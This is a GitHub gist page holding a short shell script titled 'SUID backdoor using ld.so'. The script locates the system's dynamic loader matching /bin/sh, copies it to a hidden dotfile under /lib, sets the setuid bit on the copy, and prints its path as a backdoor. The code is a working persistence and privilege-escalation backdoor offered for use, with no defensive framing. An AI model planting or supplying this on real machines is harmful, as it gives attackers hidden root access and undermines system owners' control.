Skip to content

Instantly share code, notes, and snippets.

@BlueishSapphire
Last active April 28, 2025 22:19
Show Gist options
  • Select an option

  • Save BlueishSapphire/cfc2b4a4de977300ff9591315c19be19 to your computer and use it in GitHub Desktop.

Select an option

Save BlueishSapphire/cfc2b4a4de977300ff9591315c19be19 to your computer and use it in GitHub Desktop.
SUID backdoor using ld.so
sh_elf=$(file -LbP bytes=6 /bin/sh)
suid_ld=
find /lib/ -name 'ld.so*' -or -name 'ld-*.so*' -print0 2>/dev/null | while read -d $'\0' file; do
ld_elf=$(file -LbP bytes=6 "$file")
if [[ "$sh_elf" == "$ld_elf" ]]; then
suid_ld="$(dirname $file)/.$(basename $file)"
cp "$file" "$suid_ld"
chmod +s "$suid_ld"
fi
done
echo "suid backdoor: $suid_ld"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment